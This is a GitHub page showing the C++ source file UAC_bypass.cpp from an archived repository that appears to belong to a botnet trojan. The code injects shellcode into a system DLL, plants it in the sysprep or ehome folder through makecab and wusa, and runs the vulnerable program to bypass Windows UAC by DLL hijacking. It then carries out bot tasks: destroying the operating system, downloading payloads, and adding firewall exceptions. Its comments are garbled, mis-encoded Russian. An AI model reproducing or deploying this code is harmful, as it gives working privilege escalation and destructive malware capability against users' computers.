This repository has been archived by the owner on Jul 4, 2019. It is now read-only.
/
UAC_bypass.cpp
executable file
·428 lines (340 loc) · 13.4 KB
/
UAC_bypass.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
#include "UAC_bypass.h"
#include "modules.h"
#include "GetApi.h"
#include "utils.h"
#include "BotCore.h"
#include "KillOs_Reboot.h"
#include "inject.h"
#include "BotDebug.h"
#ifdef PP_DPRINTF
#define DBG PP_DPRINTF
#else
#define DBG(...)
#endif //PP_DPRINTF
static const char* uacTargetDir[] = { "system32\\sysprep", "ehome" };
static const char* uacTargetApp[] = { "sysprep.exe", "mcx2prov.exe" };
static const char* uacTargetDll[] = { "cryptbase.dll", "CRYPTSP.dll" };
static const char* uacTargetMsu[] = { "cryptbase.msu", "CRYPTSP.msu" };
static bool Exec( DWORD* exitCode, char *msg, ... );
static bool InfectImage( PVOID data, DWORD dataSize, char *dllPath, char *commandLine );
bool RunDllBypassUAC( const LPVOID module, int szModule, int method )
{
bool ret = false;
//ïðîâåðÿåì â íóæíîé ëè âåðñèè âèíäû íàõîäèìñÿ
OSVERSIONINFOA Version;
Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if( pGetVersionExA(&Version) )
{
if( Version.dwPlatformId != VER_PLATFORM_WIN32_NT ||
Version.dwMajorVersion != 6 || !(Version.dwMinorVersion == 1 || Version.dwMinorVersion == 2) )
{
return false;
}
}
char engineDll[MAX_PATH];
File::GetTempName(engineDll);
DBG( "Saving engine DLL into the '%s'", engineDll );
// write payload DLL into the temporary location
if( File::WriteBufferA( engineDll, module, szModule ) != szModule ) return false;
char targetDll[MAX_PATH], targetDllInfected[MAX_PATH];
pGetSystemDirectoryA( targetDll, MAX_PATH );
pPathAppendA( targetDll, uacTargetDll[method] );
pGetTempPathA( MAX_PATH, targetDllInfected );
pPathAppendA( targetDllInfected, uacTargetDll[method] );
void* data = NULL;
DWORD dataSize = 0;
DBG( "Reading and infecting '%s'", targetDll );
// read hijacking dll and infect it
data = File::ReadToBufferA( targetDll, dataSize );
if( data )
{
if( InfectImage( data, dataSize, engineDll, 0 ) )
{
DBG( "Saving infected DLL to '%s'", targetDllInfected);
// write infected hijacking DLL into the temporary location
if( File::WriteBufferA( targetDllInfected, data, dataSize ) )
{
char msuPath[MAX_PATH];
pGetTempPathA( MAX_PATH, msuPath );
pPathAppendA( msuPath, uacTargetMsu[method] );
// delete old .msu file
pDeleteFileA(msuPath);
DBG( "Creating MSU file '%s'", msuPath);
// make .msu archive
Exec( 0, "makecab.exe /V1 %s %s", targetDllInfected, msuPath);
if( File::IsExists(msuPath) )
{
char targetPath[MAX_PATH], targetDllPath[MAX_PATH];
pGetWindowsDirectoryA( targetPath, MAX_PATH - 1 );
pPathAppendA( targetPath, uacTargetDir[method] );
pPathAppendA( targetPath, uacTargetApp[method] );
pGetWindowsDirectoryA( targetDllPath, MAX_PATH - 1 );
pPathAppendA( targetDllPath, uacTargetDir[method] );
pPathAppendA( targetDllPath, uacTargetDll[method] );
DBG( "Extracting MSU data to '%s'", targetDllPath );
// extract dll file into the vulnerable app directory
Exec(NULL, "cmd.exe /C wusa.exe %s /extract:%%WINDIR%%\\%s", msuPath, uacTargetDir[method] );
if( File::IsExists(targetDllPath) )
{
DWORD exitCode = 0;
DBG( "Executing '%s'", targetPath );
// execute vulnerable application and perform DLL hijacking attack
if( Exec( &exitCode, "cmd.exe /C %s", targetPath ) )
{
if( exitCode == UAC_BYPASS_MAGIC_RETURN_CODE )
{
DBG( "UAC BYPASS SUCCESS" );
ret = true;
}
else
{
DBG( "UAC BYPASS FAILS" );
}
}
pDeleteFileA(targetDllPath);
}
else
DBG( "Error while extracting '%s' from MSU archive", targetDllPath );
pDeleteFileA(msuPath);
}
else
DBG( "Error while creating '%s'", msuPath );
}
}
MemFree(data);
}
pDeleteFileA(targetDllInfected);
pDeleteFileA(engineDll);
return ret;
}
static bool Exec( DWORD* exitCode, char *msg, ... )
{
bool ret = false;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
if( exitCode ) *exitCode = 0;
va_list mylist;
va_start( mylist, msg );
TMemory buf(1024);
pwvsprintfA( buf.AsStr(), msg, mylist );
va_end(mylist);
ClearStruct(pi);
ClearStruct(si);
si.cb = sizeof(si);
pGetStartupInfoA(&si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = FALSE;
DBG( "CreateProcess(): %s", buf.AsStr() );
if( pCreateProcessA( NULL, buf.AsStr(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) )
{
pWaitForSingleObject( pi.hProcess, INFINITE );
if( exitCode )
pGetExitCodeProcess( pi.hProcess, exitCode );
pCloseHandle(pi.hThread);
pCloseHandle(pi.hProcess);
ret = TRUE;
}
else
DBG( "CreateProcess() ERROR %d", pGetLastError() );
return ret;
}
typedef HMODULE (WINAPI * func_LoadLibraryA)(LPCTSTR lpFileName);
typedef UINT (WINAPI * func_WinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef BOOL (WINAPI * DLL_MAIN)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
typedef struct _SHELLCODE_PARAMS
{
func_LoadLibraryA f_LoadLibraryA;
func_WinExec f_WinExec;
DWORD dwAddressofEntryPoint;
char szCommandLine[MAX_PATH];
char szDllPath[];
} SHELLCODE_PARAMS, *PSHELLCODE_PARAMS;
extern "C" BOOL WINAPI Shellcode( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved );
extern "C" VOID WINAPI Shellcode_end(VOID);
#pragma optimize("", off)
BOOL WINAPI Shellcode( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((PUCHAR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)
(headers->FileHeader.SizeOfOptionalHeader +
(PUCHAR)&headers->OptionalHeader);
DWORD numberOfSections = headers->FileHeader.NumberOfSections;
PSHELLCODE_PARAMS params = NULL;
// enumerate sections
for( int i = 0; i < (int)numberOfSections; i++ )
{
// check for resources section
if( *(PDWORD)§ion->Name == 'rsr.' )
{
params = (PSHELLCODE_PARAMS)((PUCHAR)hModule + section->VirtualAddress);
break;
}
section++;
}
if (params == NULL)
{
// shellcode parameters is not found
return TRUE;
}
// get address of original entry point
DLL_MAIN DllMain = (DLL_MAIN)((PUCHAR)hModule + params->dwAddressofEntryPoint);
// call original entry point
BOOL ret = DllMain( hModule, ul_reason_for_call, lpReserved );
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if( params->f_WinExec )
{
// execute payload
params->f_WinExec( params->szCommandLine, SW_SHOWNORMAL );
}
if( params->f_LoadLibraryA )
{
// load helper library
params->f_LoadLibraryA( params->szDllPath );
}
}
return ret;
}
VOID WINAPI Shellcode_end(VOID) {}
#pragma optimize("", on)
static bool InfectImage( PVOID data, DWORD dataSize, char *dllPath, char *commandLine )
{
DWORD shellcodeSize = (DWORD)((PUCHAR)&Shellcode_end - (PUCHAR)&Shellcode);
DWORD totalSize = shellcodeSize + sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1;
DBG( "Shellcode size is %d bytes", totalSize);
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)
((PUCHAR)data + ((PIMAGE_DOS_HEADER)data)->e_lfanew);
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)
(headers->FileHeader.SizeOfOptionalHeader +
(PUCHAR)&headers->OptionalHeader);
DWORD numberOfSections = headers->FileHeader.NumberOfSections;
// enumerate sections
for( int i = 0; i < (int)numberOfSections; i++ )
{
// check for resources section
if( !m_memcmp( (char*)§ion->Name, ".rsrc", 5) )
{
if( section->SizeOfRawData < totalSize )
{
DBG( "ERROR: Not enough free space in '.rsrc'" );
return false;
}
// fill shellcode parameters
PSHELLCODE_PARAMS params = (PSHELLCODE_PARAMS)((PUCHAR)data + section->PointerToRawData);
m_memset( params, 0, sizeof(SHELLCODE_PARAMS) );
params->dwAddressofEntryPoint = headers->OptionalHeader.AddressOfEntryPoint;
HMODULE kernel32 = (HMODULE)pGetModuleHandleA("kernel32.dll");
params->f_LoadLibraryA = (func_LoadLibraryA)pGetProcAddress( kernel32, "LoadLibraryA" );
params->f_WinExec = (func_WinExec)pGetProcAddress( kernel32, "WinExec" );
if( commandLine )
m_lstrcpy( params->szCommandLine, commandLine );
m_lstrcpy( params->szDllPath, dllPath );
// copy shellcode
PVOID shellcode = (PVOID)((PUCHAR)params + sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1);
m_memcpy( shellcode, Shellcode, shellcodeSize);
// replace address of entry point
headers->OptionalHeader.AddressOfEntryPoint = section->VirtualAddress +
sizeof(SHELLCODE_PARAMS) + m_lstrlen(dllPath) + 1;
// make section executable
section->Characteristics |= IMAGE_SCN_MEM_EXECUTE;
headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = NULL;
headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = 0;
DWORD headerSum = 0, checkSum = 0;
// recalculate checksum
if( pCheckSumMappedFile( data, dataSize, &headerSum, &checkSum ) )
headers->OptionalHeader.CheckSum = checkSum;
else
DBG( "CheckSumMappedFile() ERROR %d", pGetLastError() );
DBG( "OK" );
break;
}
section++;
}
return true;
}
bool ConvertExeToDll( LPVOID module )
{
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)
((PUCHAR)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
headers->FileHeader.Characteristics |= IMAGE_FILE_DLL;
return true;
}
//ôîðìàò ôàéëà â êîòîðîì áóäåì ñîõðàíÿòü êîìàíäó äëÿ âûïîëíåíèÿ ïîñëå îáõîäà UAC
struct BypassUACTask
{
DWORD time; //âðåìÿ ñîçäàíèÿ çàäà÷è
int task;
int lenArgs;
char args[];
};
const char* FileTask = "task_bypassuac.txt";
bool RunBotBypassUAC( int method, int task, const char* args )
{
bool ret = false;
method = 0; //èñïîëüçóåì òîëüêî ìåòîä îáõîäà 0
string path = BOT::GetBotFullExeName();
DBG( "Exe áîòà %s ïðåâðàùàåì â äëë", path.t_str() );
DWORD dataSize;
BYTE* data = File::ReadToBufferA( path.t_str(), dataSize );
if( data == 0 ) return false;
if( ConvertExeToDll(data) )
{
int lenArgs = m_lstrlen(args); //ðàçìåð ïàìÿòè ïîä àðãóìåíòû
int szTask = sizeof(BypassUACTask) + lenArgs + 1;
BypassUACTask* ptask = (BypassUACTask*)MemAlloc(szTask);
ptask->time = (DWORD)pGetTickCount();
ptask->task = task;
ptask->lenArgs = lenArgs;
m_memcpy( ptask->args, args, lenArgs + 1 );
if( File::WriteBufferA(BOT::MakeFileName( 0, FileTask ).t_str(), ptask, szTask ) == szTask )
{
ret = RunDllBypassUAC( data, dataSize, method );
if( !ret ) //ïî êàêîé-òî ïðè÷èíå íå ñðàáîòàëî
pDeleteFileA(BOT::MakeFileName( 0, FileTask ).t_str() );
}
MemFree(ptask);
}
MemFree(data);
return ret;
}
static char ParamArgs[MAX_PATH]; //ñþäà ëîæàòñÿ àðãóìåíòû êîìàíäû, åñëè âûïîëíåíèå â äðóãîì ïðîöåññå
static DWORD WINAPI TaskDownload2(void*)
{
BOT::Initialize(ProcessUnknown);
ExecuteDownload( 0, 0, ParamArgs );
return 0;
}
int ExecTaskAfterUAC()
{
string pathFile = BOT::MakeFileName( 0, FileTask );
DWORD szTask;
BypassUACTask* ptask = (BypassUACTask*)File::ReadToBufferA( pathFile.t_str(), szTask );
int ret = 0;
if( ptask )
{
pDeleteFileA(pathFile.t_str());
//åñëè ðàçíèöà > 10ñ, òî çíà÷èò ôàéë íå áûë óäàëåí ïî êàêîé-òî ïðè÷èíå, äðóãèìè ñëîâàìè çàäà÷ íåò, îáû÷íûé çàïóñê áîòà
if( GetTickCount() - ptask->time > 20000 )
return 0;
BOT::SetBotType(BotBypassUAC);
DBG( "Çàïóùåíà êîìàíäà %d '%s' ïîñëå îáõîäà UAC", ptask->task, ptask->args );
switch( ptask->task )
{
case UAC_CMD_KillOs:
ret = KillOs() ? 1 : 2;
break;
case UAC_CMD_Download:
ret = TRUE;
SafeCopyStr( ParamArgs, sizeof(ParamArgs), ptask->args );
MegaJump(TaskDownload2);
break;
case UAC_CMD_AddAllowed:
AddAllowedprogram( ptask->args );
ret = TRUE;
break;
}
MemFree(ptask);
pExitProcess(UAC_BYPASS_MAGIC_RETURN_CODE);
}
return ret;
}